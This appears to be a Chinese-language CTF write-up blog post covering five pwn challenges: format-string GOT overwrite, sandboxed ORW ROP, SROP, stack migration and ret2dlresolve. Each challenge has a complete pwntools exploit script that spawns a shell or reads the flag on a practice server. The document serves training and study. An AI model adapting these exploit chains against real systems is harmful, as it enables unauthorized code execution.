简介:
这周时间不是很充裕,没有来得及做,题目真的逐渐变难,很多不是很了解的知识点逐渐暴露,这些知识点理解起来也挺难的,慢慢来,别急,加油!!!
puts or system?
查看一下保护机制,打开了canary和NX,还有一个点就是RELRO (注意一下,因为这题需要修改got表),开启了部分说明got,plt可读可写,不懂的可以看(PWN PWN PWN !!! 技巧 (1))
ida反汇编一下,看看伪代码,发现发生了溢出和格式字符串漏洞,还有一个重要的点就是 puts("/bin/sh"),我们肯定得想想办法变成 system("/bin/sh"),这样的话就可以获得shell,所以我们就可以用到pwntools里面的工具 fmtstr_payload 来 puts 的got表地址 修改成 system 的地址,那我们就先通过 %s 的方法来泄露libc从而来获得system的地址,这样就可以获得shell了(这种泄露libc的方法可以记一下)
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# p =process('./111')
p =remote('node4.buuoj.cn',26095)
elf =ELF('./111')
libc =ELF('./libc.so.6')
got_addr =elf.got['puts']
p.sendlineafter(b'(0/1)\n',b'1')
payload =b'%9$sAAAA' +p64(got_addr) #对齐
p.send(payload)
p.recvuntil(b'There is my gift:\n')
puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.sendlineafter(b'(0/1)\n',b'1')
payload =fmtstr_payload(8, {got_addr:sys_addr})
p.sendlineafter(b'What\'s it\n',payload)
p.interactive()
orw&rop
查看一下保护机制,跟上题一样的保护机制,根据题目就知道是开启了沙盒,不能使用了execve调用,需要自己构造orw去获得flag
ida一下,发现有个沙盒,并且开辟了一块可读可写的区域0x66660000,还发生格式字符串漏洞和栈溢出,可以通过格式字符串漏洞,把canary和libc泄露出来,然后就是套canary的模板(可见PWN PWN PWN !!! 技巧 (1))
运行程序,发现偏移为6,并且canary为第11个参数,可以通过puts函数来泄露libc,然后就是通过寄存器把参数传进去,最后就可以直接构造orw
exp如下:
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
# p=process('./ezorw')
p=remote('node4.buuoj.cn',28531)
elf =ELF('./111')
libc =ELF('./libc.so.6')
got_addr =elf.got['puts']
payload =b'%11$p%8$saaaaaaa' +p64(got_addr) #对齐
p.sendafter("sandbox\n",payload)
canary =int(p.recv(18),16) #canary =int(p.recv()[2:18],16)
puts_addr =u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base =puts_addr -libc.sym['puts']
ret =libc_base +0x2a264
pop_rdi =libc_base +0x2a3e5
pop_rsi =libc_base +0x2be51
pop_rdx =libc_base +0x90529
pop_rax =libc_base +0x45eb0
read =libc_base +libc.sym['read'] #elf.plt['read']
payload =b'A'*0x28 +p64(canary) +p64(0) +p64(ret) +p64(pop_rdi) +p64(0) +p64(pop_rsi) +p64(0x66660000) +p64(pop_rdx) +p64(0x100) +p64(0) +p64(read) +p64(0x66660000) #套路,你应该懂吧
p.send(payload)
orw_shellcode =shellcraft.open('./flag')
orw_shellcode +=shellcraft.read(3,0x66660200,0x100)
orw_shellcode +=shellcraft.write(1,0x66660200,0x100)
p.send(asm(orw_shellcode))
p.interactive()
srop
老规矩查看一下保护机制,只打开了NX,并且是full relro (got.plt均不可读可写),不懂可看 PWN PWN PWN !!! 技巧 (1),srop的方法可以套模板,利用系统调用号(可以看看这里 PWN PWN PWN !!! 技巧(3))
ida一下,发现发生了栈溢出,但是溢出的长度不够构造rop,所以需要栈迁移,你就会发现这种题目的格式很模板化,就是考察你srop的用法,套模板,注意一些参数就行,后续我会更新该题型的模板,敬请期待!!!
exp如下:
from pwn import*
context(os="linux", arch="amd64", log_level="debug")
#p=process('./111')
p=remote('node4.buuoj.cn',29475)
elf=ELF('./111')
syscall =elf.plt['syscall']
rdi =0x401203
lea =0x401171 #lea rax, [rbp+var_30]
bss =0x404050 +0x500
p.recvuntil('welcome to srop!\n')
frame=SigreturnFrame()
frame.rdi =59
frame.rsi =bss -0x30
frame.rdx =0
frame.rcx =0
frame.rsp =bss +0x38
frame.rip =syscall
payload =b'a'*0x30 +flat(bss,lea)
p.send(payload)
payload =b'/bin/sh\x00' +b'a'*0x30 +flat(rdi,15,syscall,frame)
p.send(payload)
p.interactive()
stack migration revenge
查看一下保护机制,打开了NX
ida反汇编,你会发现比较上一周的栈迁移的题这次你需要迁移的地方需要自己来构造,难度上了一个档次,理解起来有点困难,我自己理解的就是在read地址写入rop,然后就栈迁移到bss段,剩下的就是套路(我对比了其他的栈迁移得出的,不知道有没有错),然后就是注意一下接受,这个是真的很坑,掉几次了☻☻☻
exp如下:
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#p = process('./111')
p = remote('node4.buuoj.cn',26731)
elf = ELF('./111')
libc = ELF('./libc.so.6')
got_addr =elf.got["puts"]
plt_addr =elf.plt["puts"]
bss =elf.bss(0x700) #0x404100
rdi_addr =0x4012b3
rbp_addr =0x40115d
leave_ret =0x401227
ret_addr =0x40101a
read =0x4011FF
p.recvuntil(b'just chat with me:\n')
payload = b'a'*0x50 +p64(bss +0x50) +p64(read)
p.send(payload)
p.recvuntil(b'so funny\n')
payload =p64(rdi_addr) +p64(got_addr) +p64(plt_addr)
payload +=p64(rbp_addr) +p64(bss +0x800) +p64(read)
payload =payload.ljust(0x50, b'\x00') +p64(bss -0x8) +p64(leave_ret)
p.send(payload)
p.recvuntil(b'so funny\n')
puts_addr =u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base =puts_addr - libc.sym['puts']
sys_addr =libc_base + libc.sym['system']
bin_sh =libc_base + next(libc.search(b"/bin/sh\x00"))
payload =p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
payload =payload.ljust(0x50, b'\x00') +p64(bss +0x800 -0x58) +p64(leave_ret)
p.send(payload)
p.interactive()
dlresolve
这题就是ret2dlresolve的解法,比赛里面用的比较少,我没用接触过,第一次见,现在还有点不太理解其原理,先挂上官方WP吧
exp如下:
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "amd64", log_level= "debug")
#p=process('./111')
p =remote('node4.buuoj.cn',27108)
elf = ELF('./111')
libc = ELF('./libc-2.31.so')
read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_addr = 0x401170
plt0 = 0x401020 #plt段地址
bss = 0x404040
bss_stage =bss + 0x100
l_addr =libc.sym['system'] -libc.sym['read']
pop_rdi = 0x000000000040115e #pop rdi ; ret
pop_rsi = 0x000000000040116b #pop rsi ; ret#用于解析符号 dl_runtime_resolve
plt_load =p64(plt0+6)
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)
payload = flat( b'a'*120 ,pop_rdi, 0 ,pop_rsi ,bss_stage ,read_plt ,pop_rsi ,0 ,pop_rdi ,bss_stage +0x48 ,plt_load ,bss_stage ,0)
p.sendline(payload)
p.send(fake_link_map)
p.interactive()
总结:
这次题目确实上了一个档次,有些东西确实也不怎么好理解,慢慢来,积少成多,相同题型放一起总结,总会得出好的结论,就一句话:多做多总结,冲冲冲!!!